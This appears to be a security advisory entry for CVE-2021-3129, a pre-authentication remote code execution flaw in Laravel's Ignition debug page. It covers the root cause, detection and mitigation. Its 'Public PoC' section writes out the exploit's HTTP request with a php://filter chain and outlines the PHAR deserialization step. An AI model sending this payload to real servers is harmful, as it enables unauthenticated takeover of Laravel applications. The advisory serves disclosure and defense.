Laravel Ignition Debug Mode RCE

Product: Facade / Spatie Ignition (Laravel debug page)
CVE: CVE-2021-3129
Disclosed: 2021-01-12
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: Ignition < 2.5.2 (Laravel < 8.4.2) with APP_DEBUG=true
Fixed: Ignition 2.5.2

Summary

Ignition, Laravel's default error page, exposes 'solutions' that can be executed over HTTP, one of which reads and writes a file path supplied by the user. Ambionics turned this into RCE by abusing PHP filters to plant a PHAR in the Laravel log, then triggering deserialization; it is still widely exploited on debug-enabled sites.

Root cause

MakeViewVariableOptionalSolution calls file_get_contents() and file_put_contents() on the attacker-controlled viewFile parameter. Using php://filter conversion chains the attacker clears and rewrites storage/logs/laravel.log into a valid PHAR, and a phar:// read deserializes a phpggc gadget chain.

Impact

Unauthenticated RCE on Laravel apps running in debug mode.

Public PoC

POST /_ignition/execute-solution HTTP/1.1
Host: target:8080
Content-Type: application/json

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}
# then: write phpggc Laravel/RCE5 PHAR into the log, and request viewFile=phar://../storage/logs/laravel.log

Source: vulhub / laravel/CVE-2021-3129

Detection

Look for POSTs to /_ignition/execute-solution, especially with php://filter or phar:// in viewFile. nuclei template CVE-2021-3129.

Mitigation

Upgrade facade/ignition to 2.5.2+ and never run APP_DEBUG=true in production.